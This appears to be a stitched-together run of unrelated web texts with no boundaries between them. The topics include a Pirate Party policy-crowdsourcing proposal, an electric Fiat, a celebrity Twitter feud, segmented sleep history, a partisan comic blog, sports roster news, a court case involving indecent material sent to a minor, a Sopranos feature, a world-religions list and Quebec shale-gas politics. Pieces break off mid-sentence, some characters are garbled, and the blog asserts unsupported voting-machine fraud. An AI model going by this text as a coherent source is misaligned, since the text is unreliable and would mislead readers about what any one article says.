network, generate ideas, debate issues, and vote on the policies that formulate principles for political action" Policy Beta will create a digital platform for citizens to network, generate ideas, debate issues, and vote on the policies that formulate principles for political action. In essence Policy Beta will provide a platform for crowdsourcing public policy. As a policy crowdsourcing platform, Policy Beta addresses the participatory deficiency in modern democracies. As an open source platform Policy Beta can be adopted by anyone—businesses, political parties, or communities–seeking to crowdsource solutions to collective problems. The proposed iteration of Policy Beta will be in the service of empowering citizens to engage with policy production for the UK Pirate Party. This first iteration of Policy Beta will assist the UK Pirate Party in developing direct democratic policies for their 2014 Manifesto. Programmers and administrators will construct an easy to use platform open for citizen feedback, capable of including diverse voices, and able to facilitate deliberation. The content, however, will come from participants. Ideas will be crowdsourced, issues will be debated, and votes will be tallied for the UK Pirate Party’s 2014 Manifesto. The Manifesto will thus be collectively authored. After this process participants and non-participants will be surveyed for their feedback on the process and the platform. With policies developed through bottom-up citizen dialogue as opposed to top-down professional political deliberation, political representatives can best know and implement citizen-driven initiatives. In this fashion, Policy Beta brings political representatives closer to the concerns of the citizenry while engaging citizens in policy production. This can only be good for the collective self-governance at the heart of functioning democracies.Castagna Electrifies the Fiat 500 September 17th, 2008 by Courtney Carlisle Bolton The Tender Two adds raised siding, teak wood, updated upholstery, and of course, a zero-emission electric engine, which gets up to 81 mph and a range of 140 km or 87 miles after a four hour charge of the battery. Now, you just have to figure out how to get it from Italy to your driveway in time for summer. Via AutoIntel About the Author Courtney Carlisle Bolton When she isn't writing or in the library, this tech savvy ecophile can usually be found glued to her mobile or macbook ogling the latest gadgets, scouting the newest designs, traveling or out enjoying the Colorado terrain. Courtney holds two masters degrees in Psychology and Communications and received her BA from Vanderbilt University in Psychology and English. She recently relocated from Los Angeles to Denver, CO where she is pursuing her PhD in Family and Child Psychology.Sarandon and Messing. Stars: They’re just like us! Which, in 2016, means that they, too, are getting into circular Twitter arguments with their friends and acquaintances about the presidential election. The latest fight tearing apart the upper echelons of Hollywood stems from Susan Sarandon’s controversial interview on MSNBC Monday night, in which the Dead Man Walking star floated the idea that a Donald Trump presidency might “bring the revolution,” and thus be preferable to a Hillary Clinton victory. The Gavrilo Princip of the war was Jamie Lee Curtis, who tweeted a response to the widely misreported claim that Sarandon said she would vote for Trump over Clinton: I respect but disagree with @SusanSarandon. A possible support of Trump over @HillaryClinton is dangerous 2 women, minorities & immigrants. — Jamie Lee Curtis (@jamieleecurtis) March 29, 2016 Sarandon attempted to clarify, but it was too late — Debra Messing picked up the thread, and went in: Of course I would never support Trump for any reason. If you watch the interview you'll see that's not what I said. https://t.co/wQk0cMmeyp — Susan Sarandon (@SusanSarandon) March 29, 2016 Susan Sarandon muses tht Trump prezcy wud b better 4 the country thn Hillary.Wonder if she'd say that if she were poor,gay,Muslim or immgrnt — Debra Messing (@DebraMessing) March 30, 2016 1-What kind of revolution?! A WALL?! #ImWithHer but if it's Bernie/Trump I will ABSOLUTELY support BS. https://t.co/nqPGCDStCX — Debra Messing (@DebraMessing) March 30, 2016 2- the idea that Susan Sarandon wud say that NOT supporting Hillary in a HRC/Trump race is a legitimate choice for Democrats, is insane. — Debra Messing (@DebraMessing) March 30, 2016 LOL that I would ever vote Trump. https://t.co/pnENMgmbvm — Susan Sarandon (@SusanSarandon) March 29, 2016 Then why didn't you say that? Please make that clear in the future. For women's sake if for no one else. https://t.co/gzB55L43qj — Debra Messing (@DebraMessing) March 30, 2016 Sarandon awoke early on Wednesday, ready to defend herself: .@DebraMessing For those passionate, principled independents & first-time voters who would not be voting (1/2) — Susan Sarandon (@SusanSarandon) March 30, 2016 .@DebraMessing if it weren't for Sanders & whose interests HC doesn't represent, it is a dilemma. (2/2) — Susan Sarandon (@SusanSarandon) March 30, 2016 But Messing wasn’t messing around: 1-You are not a first time voter.Your position,as a life long advocate 4 the underepresented,is what matters to me. https://t.co/oLueAHCaUe — Debra Messing (@DebraMessing) March 30, 2016 2-Your voice is powerful and influential. You not clearly disavowing Trump implies that u consider him (vs Hillary) https://t.co/oLueAHCaUe — Debra Messing (@DebraMessing) March 30, 2016 3- There are people who need protections, and B Bernie or Hillary have that as a priority. Trump does not. https://t.co/oLueAHCaUe — Debra Messing (@DebraMessing) March 30, 2016 Which prompted another round of fire on Wednesday afternoon: Agreed Trump doesn’t, but she is not protective till it's easy. Bernie makes morally correct choices when unpopular. https://t.co/28QVTpA4rI — Susan Sarandon (@SusanSarandon) March 30, 2016 I was explaining to not take those voters for granted which will affect the platfiorm. https://t.co/24TNEVGep1 — Susan Sarandon (@SusanSarandon) March 30, 2016 This is y Bernie beats Trump by wider margin in polls & y independent voter support 4 HC can’t be taken for granted. https://t.co/ZT7xKOeC6a — Susan Sarandon (@SusanSarandon) March 30, 2016 As of press time, neither Messing nor Sarandon has been able to convince the other that she is wrong.Image copyright Other We often worry about lying awake in the middle of the night - but it could be good for you. A growing body of evidence from both science and history suggests that the eight-hour sleep may be unnatural. In the early 1990s, psychiatrist Thomas Wehr conducted an experiment in which a group of people were plunged into darkness for 14 hours every day for a month. It took some time for their sleep to regulate but by the fourth week the subjects had settled into a very distinct sleeping pattern. They slept first for four hours, then woke for one or two hours before falling into a second four-hour sleep. Though sleep scientists were impressed by the study, among the general public the idea that we must sleep for eight consecutive hours persists. In 2001, historian Roger Ekirch of Virginia Tech published a seminal paper, drawn from 16 years of research, revealing a wealth of historical evidence that humans used to sleep in two distinct chunks. Image copyright bbc Image caption Roger Ekirch says this 1595 engraving by Jan Saenredam is evidence of activity at night His book At Day's Close: Night in Times Past, published four years later, unearths more than 500 references to a segmented sleeping pattern - in diaries, court records, medical books and literature, from Homer's Odyssey to an anthropological account of modern tribes in Nigeria. Much like the experience of Wehr's subjects, these references describe a first sleep which began about two hours after dusk, followed by waking period of one or two hours and then a second sleep. "It's not just the number of references - it is the way they refer to it, as if it was common knowledge," Ekirch says. During this waking period people were quite active. They often got up, went to the toilet or smoked tobacco and some even visited neighbours. Most people stayed in bed, read, wrote and often prayed. Countless prayer manuals from the late 15th Century offered special prayers for the hours in between sleeps. And these hours weren't entirely solitary - people often chatted to bed-fellows or had sex. Between segments Image copyright AFP Some people: Jog and take photographs Practise yoga Have dinner... Ten strange things people do at night A doctor's manual from 16th Century France even advised couples that the best time to conceive was not at the end of a long day's labour but "after the first sleep", when "they have more enjoyment" and "do it better". Ekirch found that references to the first and second sleep started to disappear during the late 17th Century. This started among the urban upper classes in northern Europe and over the course of the next 200 years filtered down to the rest of Western society. By the 1920s the idea of a first and second sleep had receded entirely from our social consciousness. He attributes the initial shift to improvements in street lighting, domestic lighting and a surge in coffee houses - which were sometimes open all night. As the night became a place for legitimate activity and as that activity increased, the length of time people could dedicate to rest dwindled. When segmented sleep was the norm "He knew this, even in the horror with which he started from his first sleep, and threw up the window to dispel it by the presence of some object, beyond the room, which had not been, as it were, the witness of his dream." Charles Dickens, Barnaby Rudge (1840) "Don Quixote followed nature, and being satisfied with his first sleep, did not solicit more. As for Sancho, he never wanted a second, for the first lasted him from night to morning." Miguel Cervantes, Don Quixote (1615) "And at the wakening of your first sleepe You shall have a hott drinke made, And at the wakening of your next sleepe Your sorrowes will have a slake." Early English ballad, Old Robin of Portingale The Tiv tribe in Nigeria employ the terms "first sleep" and "second sleep" to refer to specific periods of the night Source: Roger Ekirch. Visit Roger's website. In his new book, Evening's Empire, historian Craig Koslofsky puts forward an account of how this happened. "Associations with night before the 17th Century were not good," he says. The night was a place populated by people of disrepute - criminals, prostitutes and drunks. "Even the wealthy, who could afford candlelight, had better things to spend their money on. There was no prestige or social value associated with staying up all night." That changed in the wake of the Reformation and the counter-Reformation. Protestants and Catholics became accustomed to holding secret services at night, during periods of persecution. If earlier the night had belonged to reprobates, now respectable people became accustomed to exploiting the hours of darkness. This trend migrated to the social sphere too, but only for those who could afford to live by candlelight. With the advent of street lighting, however, socialising at night began to filter down through the classes. In 1667, Paris became the first city in the world to light its streets, using wax candles in glass lamps. It was followed by Lille in the same year and Amsterdam two years later, where a much more efficient oil-powered lamp was developed. Image copyright bbc Image caption A small city like Leipzig in central Germany employed 100 men to tend to 700 lamps London didn't join their ranks until 1684 but by the end of the century, more than 50 of Europe's major towns and cities were lit at night. Night became fashionable and spending hours lying in bed was considered a waste of time. Stages of sleep Every 60-100 minutes we go through a cycle of four stages of sleep Stage 1 is a drowsy, relaxed state between being awake and sleeping - breathing slows, muscles relax, heart rate drops Stage 2 is slightly deeper sleep - you may feel awake and this means that, on many nights, you may be asleep and not know it Stage 3 and Stage 4, or Deep Sleep - it is very hard to wake up from Deep Sleep because this is when there is the lowest amount of activity in your body After Deep Sleep, we go back to Stage 2 for a few minutes, and then enter Dream Sleep - also called REM (rapid eye movement) sleep - which, as its name suggests, is when you dream In a full sleep cycle, a person goes through all the stages of sleep from one to four, then back down through stages three and two, before entering dream sleep Source: Gregg Jacobs Gregg Jacobs' site - CBT for Insomnia Find out more about the science behind sleep "People were becoming increasingly time-conscious and sensitive to efficiency, certainly before the 19th Century," says Roger Ekirch. "But the industrial revolution intensified that attitude by leaps and bounds." Strong evidence of this shifting attitude is contained in a medical journal from 1829 which urged parents to force their children out of a pattern of first and second sleep. "If no disease or accident there intervene, they will need no further repose than that obtained in their first sleep, which custom will have caused to terminate by itself just at the usual hour. "And then, if they turn upon their ear to take a second nap, they will be taught to look upon it as an intemperance not at all redounding to their credit." Today, most people seem to have adapted quite well to the eight-hour sleep, but Ekirch believes many sleeping problems may have roots in the human body's natural preference for segmented sleep as well as the ubiquity of artificial light. This could be the root of a condition called sleep maintenance insomnia, where people wake during the night and have trouble getting back to sleep, he suggests. The condition first appears in literature at the end of the 19th Century, at the same time as accounts of segmented sleep disappear. "For most of evolution we slept a certain way," says sleep psychologist Gregg Jacobs. "Waking up during the night is part of normal human physiology." The idea that we must sleep in a consolidated block could be damaging, he says, if it makes people who wake up at night anxious, as this anxiety can itself prohibit sleeps and is likely to seep into waking life too. Russell Foster, a professor of circadian [body clock] neuroscience at Oxford, shares this point of view. "Many people wake up at night and panic," he says. "I tell them that what they are experiencing is a throwback to the bi-modal sleep pattern." But the majority of doctors still fail to acknowledge that a consolidated eight-hour sleep may be unnatural. More from the Magazine Image copyright Rex Features Margaret Thatcher was famously said to get by on four hours sleep a night a night That put her in a group of just 1% of the population Can we really get by on four hours of sleep? Weird things people do in their sleep "Over 30% of the medical problems that doctors are faced with stem directly or indirectly from sleep. But sleep has been ignored in medical training and there are very few centres where sleep is studied," he says. Jacobs suggests that the waking period between sleeps, when people were forced into periods of rest and relaxation, could have played an important part in the human capacity to regulate stress naturally. In many historic accounts, Ekirch found that people used the time to meditate on their dreams. "Today we spend less time doing those things," says Dr Jacobs. "It's not a coincidence that, in modern life, the number of people who report anxiety, stress, depression, alcoholism and drug abuse has gone up." So the next time you wake up in the middle of the night, think of your pre-industrial ancestors and relax. Lying awake could be good for you. Craig Koslofsky and Russell Foster appeared on The Forum from the BBC World Service. Listen to the programme here.Sick. Sick. Sick. One of the things the new Republican health care bill leaves out is a requirement to be insured. They did this primarily to make the bill sound appealing to dumb people, like t-Rump voters, who felt it was "Un-American to have to buy insurance!", forgetting they already have to pay for both home and auto insurance. And, oh yeah, health insurance. The ACA isn't perfect but all the fixing it needs is for Republicans to require that all states accept the Medicaid expansion and to return the of risk corridor provision. What's this risk corridor thingy? It's money the government promised the insurance companies to pay for already sick people to come online, paid for by modest taxes to the rich and certain vanity surgical procedures. Unfortunately, Republican Marco Rubio slipped a provision into a recent spending bill that killed the corridor. That's why premium's suddenly jumped in 2016 and insurance companies began to get cold feet. So it's to these t-Rrump voter's I say "Congratulations, geniuses! You can go bankrupt from medical care again! Yayyyyyy!" ------------- Speaking of t-Rump, the Park Service just released the official photos for both the 2017 and 2009 Presidential inauguration crowds. What's easily apparent is that the Obama crowd is easily four times larger, and it was bitterly cold that day in 2009. This is all the proof you need that there was no enthusiasm for the t-Rump and I, for one, blame the electronic voting machines. The election results in the rust-belt states stunk to high Heaven. We need to return to paper votes and hand-counting, something the Dutch recently announced they'll be doing. They're nervous about what happened in the U.S. (Unlike the GOP) so good for them. ------------- Remember when you were about ten years old and you vaguely became aware of this thing called a President? Remember how cool you thought it would be to be President and be able do whatever you wanted? Yeah, t-Rump is a ten-year-old playing at being President. ------------- Finally, a few words about why I recently missed a full ten days worth of comics. Like it or not, the daily buffoonery of this current president drives the news cycle, and though you think it would be easy to just picture him as an idiot day in and day out, it's not. I'm a progressive and thus my nature is to strive for a better tomorrow while doing my best to ridicule hate and ignorance. But Hate and Ignorance stole the election and are now conspiring to loot the Treasury (again) unthwarted as they have the judges and the cops in their pockets. In essence, it's hard to worry about the polar bears when that child in the Oval Office has the nuclear codes. But I'm not giving up. I'll be here for the duration. And to my Patreon patrons, thanks for hanging in there with me. Cheers! =Lefty=After four seasons with the Jets, Matt Slauson has signed a one-year deal with the Chicago Bears, his new team announced today. Slauson started all 16 games in each of the past three seasons for the Jets. He was a sixth-round pick out of Nebraska in the 2009 draft. Of the Jets' three picks in that draft, only Mark Sanchez remains. RB Shonn Greene signed with the Titans. "We are excited that Matt will be a Bear," Bears GM Phil Emery said through the team's Twitter account. "He brings physical play and smarts to the offensive guard position and to the offensive line as an overall unit. His size, strength and power will allow him to challenge for either of the starting guard positions." Last season, Slauson started all 16 games at left guard but was involved in a rotation with Vlad Ducasse that became a point of contention midway through last season. Then-offensive line coach Dave DeGuglielmo said that the missive to play Ducasse came from "high above me." Rex Ryan later shot down that it was a call from the front office. Slauson took a pay cut prior to last season. However, Slauson went on to have a productive season. According to Pro Football Focus, Slauson graded out as the 14th-best pass blocking guard in the NFL. Brandon Moore, the team's starting right guard, is still a free agent as well.A MIDDLE-AGED woman who sent explicit photographs of herself to her son’s under-age best friend has avoided jail. The 41-year-old mother of two cannot be identified because her son remains best friends with the victim. County Court Judge Frances Hogan placed her on a two-year community corrections order after she pleaded guilty to using a carriage service to transmit indecent material to a minor. The woman sent 25 photos and 10 videos of indecent material to the teen, including explicit nude images of herself. Some of the images included indecent images of younger women, and the woman asked her victim which he preferred. Judge Hogan said the woman’s “bizarre obsession” with her son’s best friend was driven partly by her own unhappy marriage. “You were in a position of trust,” the judge said. “It was a grave breach of trust that you embarked on your fantasy about him.” The woman’s son was in court for much of her trial, and continues to see his best friend, her victim. Her husband of 25 years did not attend court, but provided a reference saying he was “so proud” to be part of her life. The woman nodded when Judge Hogan noted that her husband appeared to ignore her emotional and physical needs. She was placed on the sex offenders’ registry for eight years and ordered to perform 150 hours of unpaid community work.The Miami Heat have guaranteed the contracts of both Michael Beasley and Roger Mason Jr., according to Ira Winderman of the Sun-Sentinel. The two additions to the team before training camp are now signed for the rest of the 2013-14 NBA season, with both of them making the veteran's minimum. They could have been waived to make room for another player, say Andrew Bynum who was released by the Chicago Bulls today after their trade with the Cleveland Cavaliers. "You just control what you can control." Mason told reporters after the morning shootaround. "They told me that I've been everything that they could have expected. When I've played, I've played well. So you just control that and you let the chips fall where they may. "It's the best camaraderie I've ever been a part of in 11 years," Mason continued. "We have a veteran group. We have guys who care about each other. We have guys who have high basketball IQs, so we talk the game. We've got pros, guys who care, guys who work hard and push each other. I can go on and on. It's a great group, it's a special group. It's no surprise that they've been to the Finals three straight years." If the Heat want to make another move, whether it be at the trade deadline for example, or to sign a free agent to a 10-day contract (which NBA teams can do starting now) they will need to trim their roster or pursue a trade similar to the one they made with the Memphis Grizzlies in which Dexter Pittman was let go. That roster spot was eventually claimed by Juwan Howard in his final season as a player with the Heat and the NBA.The Sopranos cast tells all... as even James Gandolfini admits the ending left him baffled It was the ending that left fans confused, baffled and outraged. But now even James Gandolfini, the actor who played Tony Soprano in the hit TV series The Sopranos, has admitted he did not like it either. The actor said that when the screen suddenly went black as he sits down to dinner with his family he thought: 'What the f*?' The cast of the Sopranos has given an oral history of the show to the new Vanity Fair. Even star James Gandolfini admits the final scene, in which his family goes out to eat and the screen went dark, left him baffled He later came to accept the conclusion yet his initial reaction was: 'It's over like that?' In an in-depth article in Vanity Fair magazine, most of the other cast members and Sopranos creator David Chase also speak candidly about the multi-award winning show. Chase reveals that even though he had written a mob drama he 'hated' having characters killed and it left him feeling like a real-life mobster. Just like the real Mafia the actors were also paranoid they were going to be bumped off as they did not know the scripts in advance. But five years after The Sopranos ended, it is still the ending itself which everybody is talking about. Fans at the time called it the 'worst ending in history' whilst blogs lit up with fans claiming they felt cheated. Gandolfini told Vanity Fair: 'When I first saw the ending, I said, 'What the f*. 'I mean, after all I went through, all this death, and then it's over like that?' Yet he added: 'After I had a day to sleep, I just sat there and said: 'That's perfect.'' Lorraine Bracco, who played Dr Jennifer Melfi on the show, also revealed she did not like it at first either. Lorraine Bracco, the show's Dr Melfi, says she too wishes the show had ended differently. Meanwhile all the actors on the show worried they would get killed off at some point and lived in fear as they never saw scripts far in advance She said: 'I would have wanted it to end differently. But God knows we've talked about that ending for five years now - we're still talking about it. 'People stop me in the street. 'Did you get the ending? Did I miss something?' I thought it was very, very shrewd.' The Vanity Fair article includes rich detail about the show, which ran from 1999 to 2007 and lasted six seasons, winning a slew of Emmys, Golden Globes and Directors' Guild Awards. Drea de Matteo, who played Adriana La Cerva, reveals that she hated her fake New Jersey and that even today people still come up to her and say: 'Just give me one Chris-ta-fuh.' Edie Falco, who played Tony Soprano's wife, got so involved in her character that she felt like a real life mob moll, even feeling possessive about Gandolfini. She said: 'It was weird to sit down at a table and read with the actresses playing Tony's girlfriends. Occasionally I would get a sharp twinge at the back of my neck. 'Even years later, I remember when I saw Jim in 'God of Carnage' on Broadway, and he was Marcia Gay Harden's husband, and I had this 'How come I have to be OK with this?' kind of feeling.' The epic, trailblazing HBO show lasted for six seasons, winning a slew of Emmys, Golden Globes and Directors' Guild Awards along the way In another twist, Gandolfini himself admitted that he still has feelings for Falco, who played his wife Carmela for all six seasons of the show. Gandolfini also told the magazine that even now he's still in love on screen wife Edie Falco He told Vanity Fair: 'I’m still in love with Edie. Of course, I love my wife, but I’m in love with Edie. I don’t know if I’m in love with Carmela or Edie or both. I’m in love with her.' All the actors also only found out they were about to be killed off when the scripts were handed out - leading to tense moments on the set. Steve Schirripa, who played Tony Soprano's bodyguard Bobby 'Bacala' said: 'If it's time for your character to go, it's time for your character to go. It doesn't matter who you are. 'I mean, this wasn't 'Friends.' This was a real worry. 'You know, we would talk. 'Did you hear anything?' You're asking the writers. Nobody's telling you nothing. Each time the script arrived, you go to the front, you go to the back, looking.' The only time this caused tempers to really flare was on the day that Vincent Pastore's character Sal 'Big Pussy' Bonpensiero was killed - with cast members shouting at each other because they felt such a mixture of raw emotions. Chase is the most candid of all and says that the ending was such because 'ambiguity is very important to me'. He compared it classic films like 'Raging Bull' in which boxer Jake LaMotta played by Robert de Niro talks to himself in the mirror before the screen goes black with a quote from The Bible on screen. There are also details of how Gandolfini handed out $33,000 to all the regular cast members when he got a raise. Steve Schirripa, far right, was overwhelmed and said it was 'like buying everybody and SUV' Chase said: 'The Sopranos was ambiguous to the point where, to this day, I'm not really sure whether it was a drama or a comedy. 'It can be both, but people like to reduce it to one or the other. I know there are the two masks, Comedy and Drama, hanging together. But that's not the way American audiences seem to break things down.' He added that killing of characters was a 'hard thing to do' - but regretted not getting ring of Tony Soprano's nephew Christopher Moltisanti sooner than the final season. He said: 'As a mob boss, the guy was totally unreliable!... Tony put up with him for too long. 'Christopher just spelled the end of Tony, his family - everything. From my standpoint, as the architect of the series, Tony put up with him for too long.' Chase added that the violence was so pervasive that some of the actors found it hard to get out of character - and that even though he hated killing people off he just reminded himself who they were. At first some actors had problems filming violent scenes. Tony Sirico, who played Paulie 'Walnuts', far left, said he begged to not film a scene in which he killed a woman, but he ended up doing it anyway He said: 'I thought to myself, well, I'm writing about a guy who's the boss of a Mafia family, and he has to do these things, too.' The Vanity Fair piece also includes hilarious anecdotes from Tony Sirico, who played Paulie 'Walnuts' and initially refused to to a scene where he kills a woman. He begged Chase to change it as he came from a 'tough neighbourhood' and it would'make me look bad' - but eventually relented. Sirico said: 'Here's the thing. We did the scene. 'I had to smother her. First he wanted me to strangle her; I said, 'No, I'm not putting my hands on her.' He said, 'Use the pillow.' After it was all said and done, I went back to the neighborhood and nobody
major denominations, the Sunni and Shi’a. The schism developed in the late 7th century following disagreements over the religious and political leadership of the Muslim community. Roughly 85 percent of Muslims are Sunni and 15 percent are Shi’a. Muslims consider the Qur’an to be the literal word of God; it is the central religious text of Islam. Muslims believe that the verses of the Qur’an were revealed to Muhammad by God through the angel Gabriel on many occasions between the years 610 and his death on July 6, 632. Islam considers itself to be the supreme religion and therefore Muslims must not place themselves in a position inferior to that of the followers of other religions. Pursuant to this principle, Muslim women may not marry non-Muslim men, non-Muslims may not inherit from their Muslim relatives, and a testimony of a non-Muslim is inadmissible against a Muslim. A non-Muslim who insults Islam must be put to death, according to most schools of Islamic jurisprudence, or flogged and imprisoned, according to others. This item has caused some debate in the comments below. See here for the complaint, and here for the reply. 3. Hinduism [Dharmic, 1500 BC] 1 billion adherents [Wikipedia \| Britannica \| Beliefnet] Hinduism has no founder, being itself a conglomerate of diverse beliefs and traditions. It is the world’s oldest existent religion, and has approximately a billion adherents, of whom about 905 million live in India and Nepal. Hinduism contains a vast body of scriptures. Divided as revealed and remembered and developed over millennia, these scriptures expound on theology, philosophy and mythology, providing spiritual insights and guidance on the practice of dharma (religious living). Among such texts, the Vedas and the Upanishads are the foremost in authority, importance and antiquity. Other major scriptures include the Tantras, the sectarian Agamas, the Pur??as and the epics Mah?bh?rata and R?m?ya?a. The Bhagavad G?t?, a treatise excerpted from the Mah?bh?rata, is sometimes called a summary of the spiritual teachings of the Vedas. Prominent themes in Hindu beliefs include Dharma (ethics/duties), Sams?ra (The continuing cycle of birth, life, death and rebirth), Karma (action and subsequent reaction), Moksha (liberation from samsara), and the various yogas (paths or practices). Hinduism is a diverse system of thought with beliefs spanning monotheism, polytheism, pantheism, monism and even atheism. It is sometimes considered as henotheistic (devotion to a single “God” while accepting the existence of other gods), but such a view may be considered an oversimplification of the complexities and variations of belief. 4. Buddhism [Dharmic, 600 BC] 376 million adherents [Wikipedia \| Britannica \| Beliefnet] Buddhism is also known as Buddha Dharma or Dhamma, which means roughly the “teachings of the Awakened One” in Sanskrit and Pali, languages of ancient Buddhist texts. Buddhism was founded around the fifth century BCE by Siddhartha Gautama – most commonly referred to as The Buddha. In Buddhism, any person who has awakened from the “sleep of ignorance” (by directly realizing the true nature of reality), without instruction, and teaches it to others is called a buddha. All traditional Buddhists agree that Shakyamuni or Gotama Buddha was not the only Buddha: it is generally taught that there have been many past Buddhas and that there will be future Buddhas too. While there are now many sects of Buddhism, they all hold to four fundamental points: 1, All accept the Buddha as their teacher; 2, all accept the Middle Way (non-extremism), Dependant Origination, the Four Noble Truths, and the Noble Eightfold Path; 3, all accept that both monks and the laity can pursue the path to englightenment; and 4, all consider Buddahood to be the highest attainment. 5. Sikhism [Dharmic, 1469 AD] 23 million adherents [Wikipedia \| Britannica \| Beliefnet] Sikhism was founded by Guru Nanak (1469-1539 AD) who was the first of Sikhism’s 10 Gurus, a lineage of holy teachers that continued until the end of the 17th century. The Gurus are understood to be the mediators of divine grace. Sikhism originated in the Punjab region of northwest India, where it drew on elements from Bhakti Hinduism and Islamic Sufism to develop into a distinctive religious tradition in its own right. Sikhs believe that liberation from the karmic cycle of rebirths occurs in the merging of the human spirit with the all-embracing spirit of God. Sikh males are recognisable by their long beards and turbans – worn to cover the hair that traditional says they should not cut. Their religious worship involves contemplation of the divine Name. The ultimate deity is known by several names: Sat (truth), Sat Guru (true Guru), Akal Purakh (timeless being), Kartar (creator), and Wahi-Guru (“praise to the Guru”). By concentrating on God’s Name (or many titles), Sikhs believe that one conquers the ego and unites with God. The compilation of the Sikh scriptures, the Adi Granth, was begun in 1604 by the Fifth Guru. The last of the ten Gurus, Guru Gobind Singh, announced that he would be the last personal Guru and that thereafter, Sikhs were to regard the Adi Granth (Guru Granth Sahib) as their teacher. This sacred book is considered the living embodiment of all ten Gurus and is therefore the focus of worship in all Sikh temples and local gurudwaras, or sanctuaries. 6. Judaism [Abrahamic, 1300 BC] 14 million adherents [Wikipedia \| Britannica \| Beliefnet] Judaism is the religion of the Jewish people, based on principles and ethics embodied in the Bible (Tanakh) and the Talmud (Rabbinical discussions on ethics, customs, and law). According to Jewish tradition, the history of Judaism begins with the Covenant between God and Abraham, the patriarch and progenitor of the Jewish people. Judaism is among the oldest religious traditions still in practice today. Throughout the ages, Judaism has clung to a number of religious principles, the most important of which is the belief in a single, omniscient, omnipotent, benevolent, transcendent God, who created the universe and continues to govern it. Originally Judaism had priests and a temple in which sacrifices were made to God. The priesthood is an inherited position, and although priests no longer have any but ceremonial duties, they are still honored in many Jewish communities. Many Orthodox Jewish communities believe that they will be needed again for a future Third Temple and need to remain in readiness for future duty. Following the destruction of Jerusalem and the expulsion of the Jews, Jewish worship stopped being centrally organized around the Temple, prayer took the place of sacrifice, and worship was rebuilt around rabbis who acted as teachers and leaders of individual communities. Modern Judaism is generally split into three groups: Orthodox, Conservative, and Liberal. 7. Baha’i Faith [Abrahamic, 1900 AD] 7 million adherents [Wikipedia \| Britannica \| Beliefnet] Baha’i was founded in Iran in the mid-nineteenth century by Mirza Husayn Ali (1817-1892). Better known as Baha’ullah, he believed that he was the prophet foretold by the Bab, a religious leader who was believed to be a direct descendent of the prophet Muhammad. Baha’ullah was persecuted and banished several times during his life, and he died as a prisoner in Palestine. Babism (from which Baha’i originates) was a breakaway from shi’a Islam. Important Baha’i prophets include Adam, the Jewish prophets, Jesus, and Muhammed, all of whom have been succeeded by Baha’ullah. The closest thing to a religious text the Baha’i have is Baha’ullah’s Kitab al-Aqdas (The Most Holy Book) which contains detailed instructions for Baha’i living. The Baha’i believe that all religions teach the same truth. They therefore reject prejudice–racial, political, or otherwise–and stress ethical teachings such as world peace, education, and sexual equality. Although they believe that God is completely unknowable, they hold that God’s presence and works are evident in the creation of the world and the existence of the prophets, among other things. 8. Confucianism [Taoic, 600 BC] 6.4 million adherents [Wikipedia \| Britannica \| Beliefnet] Confucianism is a Chinese set of philosphical and ethical beliefs that were taught by the sage Confucius. It has had a tremendous effect on East Asia right up to the 21st century. Debated during the Warring States Period and forbidden during the short-lived Qin Dynasty, Confucianism was chosen by Emperor Wu of Han for use as a political system to govern the Chinese state. There is a large body of Confucian texts which includes the I Ching (a series of divinations) and a series of books on poetry, rituals, music, and more. You can view a complete list of these texts on Wikipedia. Confucianist doctrine remained a mainstream Chinese orthodoxy for two millennia until the 20th century, when it was attacked by radical Chinese thinkers as a vanguard of a pre-modern system and an obstacle to China’s modernization, eventually culminating in its repression during the Cultural Revolution in the People’s Republic of China. Confucianism aims at making not simply the man of virtue, but the man of learning and of good manners. The perfect man must combine the qualities of saint, scholar, and gentleman. Confucianism is a religion without positive revelation, with a minimum of dogmatic teaching, whose popular worship is centered in offerings to the dead, in which the notion of duty is extended beyond the sphere of morals proper so as to embrace almost every detail of daily life. 9. Jainism [Dharmic, 600 BC] 4.2 million adherents [Wikipedia \| Britannica \| Beliefnet] Jainism is one of the oldest religions in India and it has co-existed alongside Hinduism despite being a minority of less than 1% of the population. The religion was founded by Mahavira (“The Great Hero”) who is considered to be the most recent in a long line of 24 teachers who have brought Jainism to the world during various epochs. These teachers preach a belief in enlightenment through austerity and rejection of the world. Jains do not believe in a god and they seek release from endless reincarnations through strict self-denial. Jainism also places a great emphasis on non-harm of living things and will often have their mouths covered with muslin to prevent accidentally swallowing insects. Many Jains also use a small brush to sweep the ground in front of them while travelling so they don’t accidentally step on a creature. The main religious text of Jainism is called Agamas. An agama is an ancient Jain textbook. There were many agamas in ancient times, but as time passed, many of them were lost or destroyed. At present, 45 agamas are available. Agamas are written in the Prakrit language. These are read and studied by Jain monks (sadhus) only. The sacred literature was not written down until 500 AD. There are two main types of Jain, the Digambaras and the Shvetambaras. The Digambaras have much simpler rituals and disdain earthly belongings to a point that the male monks live completely naked. 10. Shinto [Taoic, 300 BC] 4 million adherents [Wikipedia \| Britannica \| Beliefnet] Shinto is a religious system that originates in Japan which has influences from Buddhism and other Chinese religions. Shinto recognizes no all-powerful deity and is a diverse set of traditional rituals and ceremonies, rather than a system of dogmatic beliefs or ethics. Shinto recognises a variety of gods (kami) which are the powers of nature primarily associated with such things as animals, trees, mountains, springs, boulders, the sun, and sometimes ancestors. Offerings are made to these gods and they are later eaten. Shinto rituals involve dance and Shinto priests bless the offerings to the gods with branches from the sacred sakaki tree dipped in holy water. In some parts of Japan, women Shamans fall into a trance and speak for the gods. Shinto does not have a founder or canon of religious texts, but a written Shinto mythology appears in the early sections of the eighth-century books “Kojiki” (“Records of Ancient Matters,” completed in 712 AD) and “Nihon Shoki” (“Chronicles of Japan,” completed in 720 AD), which record the role of the kami in creating Japan and the Japanese imperial lineage Learn more about the ancient religion of Shinto with The Essence of Shinto: Japan’s Spiritual Heart at Amazon.com! Technorati Tags: religion Follow us on Facebook or subscribe to our daily or weekly newsletter so you don't miss out on our latest lists.MONTREAL — The new Parti Québécois government is earning some unflattering reviews from one of its former leaders even before completing its first half-week in office. Lucien Bouchard issued a statement Friday condemning comments about shale gas made by the new PQ minister in charge of the industry. While an environmental review process is only barely underway, Natural Resources Minister Martine Ouellet has already said the resource can never be developed safely. Before entering politics, Ms. Ouellet was an environmental activist, mechanical engineer, and official at Hydro-Québec. She can now add another line to her CV: Bouchard foe. A popular former leader of the PQ and premier from 1996 to 2001, Mr. Bouchard is now the president of the Quebec Oil and Gas Association. [np-related] “Confusion reigns,” Mr. Bouchard said. He listed six questions raised by Ms. Ouellet’s comments: Is the ongoing environmental review cancelled? Should that review be allowed to complete its work? What did Ms. Ouellet mean by the “complete moratorium” she appeared to be announcing this week? Has the government already written off the industry? Mr. Bouchard also asked why Quebec would have such an attitude 